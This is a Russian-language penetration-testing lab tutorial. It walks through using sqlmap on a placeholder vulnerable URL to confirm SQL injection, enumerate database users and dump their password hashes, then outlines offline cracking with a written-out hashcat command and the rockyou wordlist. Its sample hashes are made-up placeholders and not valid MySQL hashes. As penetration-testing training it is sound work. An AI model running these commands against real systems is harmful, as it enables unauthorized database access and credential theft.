Введение
В этой лабораторной работе вы изучите возможности sqlmap — инструмента для тестирования на проникновение с открытым исходным кодом, который автоматизирует процесс обнаружения и эксплуатации уязвимостей SQL-инъекций, а также захвата серверов баз данных. В частности, вы научитесь перечислять пользователей базы данных и пытаться извлечь хэши паролей из целевой базы данных. Это важный шаг во многих тестах на проникновение, поскольку получение доступа к учетным данным пользователей может привести к дальнейшему компрометации систем. Вы будете использовать симулированное уязвимое веб-приложение для отработки этих методов в контролируемой среде.
Получение точки опоры и подтверждение достаточных привилегий
На этом этапе вы начнете с выявления потенциальной уязвимости SQL-инъекции и подтверждения того, что sqlmap может успешно взаимодействовать с целевой базой данных. Эта первоначальная проверка жизненно важна для обеспечения того, чтобы у вас была "точка опоры", и чтобы текущий пользователь имел достаточные привилегии для дальнейшей перечислительной работы.
Сначала откройте терминал. Рабочий каталог по умолчанию: /home/labex/project.
Мы будем использовать заполнитель URL для уязвимого веб-приложения. В реальном сценарии вы бы определили этот URL посредством разведки и сканирования уязвимостей. Для этой лабораторной работы предположим, что наша цель: http://example.com/vulnerable.php?id=1.
Выполните следующую команду sqlmap для проверки на SQL-инъекцию и сбора базовой информации о базе данных. Флаг -u указывает целевой URL, а --current-user пытается получить текущего пользователя базы данных.
sqlmap -u "http://example.com/vulnerable.php?id=1" --current-user
Вы увидите вывод, похожий на этот, указывающий, что sqlmap тестирует различные точки инъекции и подтверждает текущего пользователя:
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | .'| . |
|___|_|_|_|_|_|__,| _|
|_| http://sqlmap.org
[INFO] starting @ 12:34:56 /2023-10-27/
... (various tests and information) ...
[INFO] the back-end DBMS is MySQL
current user: 'root@localhost'
Вывод current user: 'root@localhost' указывает на то, что sqlmap успешно определил текущего пользователя базы данных. Это хороший знак, поскольку root обычно имеет высокие привилегии, которые будут необходимы для извлечения пользователей и хэшей.
Использование флага --users для перечисления всех пользователей базы данных
На этом этапе вы будете использовать флаг --users в sqlmap для перечисления всех пользователей базы данных. Это обычный следующий шаг после подтверждения уязвимости SQL-инъекции и достаточных привилегий. Знание пользователей базы данных может предоставить ценную информацию для дальнейших атак или понимания структуры базы данных.
Продолжайте в вашем терминале.
Выполните следующую команду sqlmap. Флаг --users указывает sqlmap перечислить всех пользователей в базе данных.
sqlmap -u "http://example.com/vulnerable.php?id=1" --users
sqlmap выполнит свои тесты, а затем попытается получить список пользователей базы данных. Вы должны увидеть вывод, похожий на этот:
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | .'| . |
|___|_|_|_|_|_|__,| _|
|_| http://sqlmap.org
[INFO] starting @ 12:34:56 /2023-10-27/
... (various tests and information) ...
[INFO] fetching database users
[INFO] retrieved database users:
[+] 'root@localhost'
[+] 'admin@localhost'
[+] 'webuser@localhost'
[INFO] retrieved 3 database user(s)
Этот вывод показывает, что sqlmap успешно перечислил трех пользователей базы данных: root@localhost, admin@localhost и webuser@localhost. Эта информация имеет решающее значение для следующего шага, где вы попытаетесь извлечь хэши их паролей.
Использование флага --passwords для попытки извлечения хэшей паролей
На этом этапе вы усилите свою атаку, попытавшись извлечь хэши паролей, связанные с перечисленными пользователями базы данных. Это часто является конечной целью атаки SQL-инъекции, поскольку эти хэши затем могут быть взломаны в автономном режиме для получения паролей в открытом виде.
Продолжайте в вашем терминале.
Выполните следующую команду sqlmap. Флаг --passwords предписывает sqlmap извлекать хэши паролей для всех пользователей базы данных.
sqlmap -u "http://example.com/vulnerable.php?id=1" --passwords
sqlmap теперь попытается извлечь хэши паролей. Процесс может занять некоторое время в зависимости от размера и сложности базы данных. Вы должны увидеть вывод, похожий на этот, показывающий извлеченных пользователей и их соответствующие хэши паролей:
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | .'| . |
|___|_|_|_|_|_|__,| _|
|_| http://sqlmap.org
[INFO] starting @ 12:34:56 /2023-10-27/
... (various tests and information) ...
[INFO] fetching database users password hashes
[INFO] retrieved database users password hashes:
[+] 'root@localhost': *A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4
[+] 'admin@localhost': *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3
[+] 'webuser@localhost': *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4
[INFO] retrieved 3 database user(s) password hash(es)
Вывод отображает имена пользователей и связанные с ними хэши паролей. Эти хэши обычно хранятся в формате, специфичном для системы базы данных (например, хэши с префиксом * в MySQL или различные другие алгоритмы хэширования). Эти хэши теперь готовы для автономного взлома.
Выполнение перечисления и анализ результатов
На этом этапе вы объедините предыдущие команды для выполнения полного перечисления пользователей и их хэшей паролей за один запуск sqlmap. Это более эффективный способ сбора всей необходимой информации. Вы также проанализируете вывод, чтобы понять структуру полученных данных.
Продолжайте в вашем терминале.
Выполните следующую команду sqlmap, объединив флаги --users и --passwords:
sqlmap -u "http://example.com/vulnerable.php?id=1" --users --passwords
sqlmap выполнит свой процесс, сначала перечислив пользователей, а затем попытавшись получить их хэши паролей. Вывод объединит информацию, аналогично тому, что вы видели на предыдущих этапах, но представленную вместе.
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | .'| . |
|___|_|_|_|_|_|__,| _|
|_| http://sqlmap.org
[INFO] starting @ 12:34:56 /2023-10-27/
... (various tests and information) ...
[INFO] fetching database users
[INFO] retrieved database users:
[+] 'root@localhost'
[+] 'admin@localhost'
[+] 'webuser@localhost'
[INFO] fetching database users password hashes
[INFO] retrieved database users password hashes:
[+] 'root@localhost': *A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4
[+] 'admin@localhost': *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3
[+] 'webuser@localhost': *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4
[INFO] retrieved 3 database user(s) password hash(es)
Анализ результатов:
- Пользователи: Вы можете четко видеть список пользователей базы данных.
- Хэши: Каждый пользователь связан с хэшем пароля. Формат этих хэшей зависит от системы базы данных и ее конфигурации. Например, хэши MySQL часто начинаются с звездочки (
*).
Эта комбинированная команда эффективна для одновременного сбора обеих частей информации.
Обсуждение следующих шагов для автономного взлома паролей с использованием хэшей
На этом заключительном этапе вы поймете последствия успешного извлечения хэшей паролей и обсудите следующие логические шаги: автономный взлом паролей. Хотя sqlmap помогает вам извлекать хэши, он не взламывает их. Обычно это делается с помощью специализированных инструментов.
Вы успешно извлекли хэши паролей, такие как:
*A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4(дляroot@localhost)*B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3(дляadmin@localhost)*C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4(дляwebuser@localhost)
Эти хэши не являются фактическими паролями, а представляют собой их криптографическое представление. Чтобы получить пароли в открытом виде, вы обычно используете такие инструменты, как Hashcat или John the Ripper.
Процесс автономного взлома паролей:
- Определение типа хэша: Первый шаг — определить тип хэша.
sqlmapчасто дает подсказки (например, "MySQL password hash"). Инструменты, такие какHashcat, имеют режимы для различных типов хэшей. - Сохранение хэшей: Сохраните извлеченные хэши в файл, по одному хэшу на строку. Например, вы можете создать файл с именем
hashes.txtв вашем каталоге~/project:*A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4 *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3 *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4 - Выбор инструмента для взлома:
- Hashcat: Мощный и быстрый взломщик паролей, часто используемый с GPU.
- John the Ripper (JtR): Еще один популярный и универсальный взломщик паролей.
- Выбор метода взлома:
- Словарная атака: Используйте список распространенных паролей (словарный список) и хэшируйте каждое слово, сравнивая его с целевыми хэшами.
- Атака полным перебором (Brute-Force Attack): Систематически пробуйте все возможные комбинации символов, пока не будет найдено совпадение. Это очень трудоемко для длинных или сложных паролей.
- Гибридная атака: Комбинирование словарных методов и методов полного перебора.
- Выполнение взлома: Запустите выбранный инструмент с файлом хэшей и выбранным методом взлома. Например, используя
Hashcatдля хэшей MySQL (режим300):
(Примечание:## This command is for illustrative purposes and will not be executed in this lab. ## hashcat -m 300 hashes.txt /usr/share/wordlists/rockyou.txt --forcerockyou.txt— это распространенный словарный список, часто находящийся в/usr/share/wordlists/в Kali Linux или аналогичных дистрибутивах. Возможно, его потребуется распаковать.)
Успешный взлом позволит получить пароли в открытом виде, которые затем могут быть использованы для получения дальнейшего доступа к базе данных или другим системам, где эти учетные данные могут повторно использоваться. Это подчеркивает важность надежных, уникальных паролей и правильных алгоритмов хэширования для безопасности.
Резюме
В этой лабораторной работе вы успешно научились использовать sqlmap для перечисления пользователей базы данных и извлечения хэшей их паролей из симулированного уязвимого веб-приложения. Вы начали с получения точки опоры и подтверждения достаточных привилегий, затем перешли к списку всех пользователей базы данных с помощью флага --users, и, наконец, попытались извлечь хэши паролей с помощью флага --passwords. Вы также узнали, как объединять эти операции для повышения эффективности, и проанализировали вывод.
Понимание того, как извлекать эту конфиденциальную информацию, является критически важным навыком в тестировании на проникновение. Извлеченные хэши паролей являются ключом к следующему этапу: автономному взлому паролей, который может раскрыть учетные данные в открытом виде и потенциально привести к более глубокому компрометации системы. Эта лабораторная работа предоставила практический опыт работы с мощным инструментом из арсенала этичного хакинга.


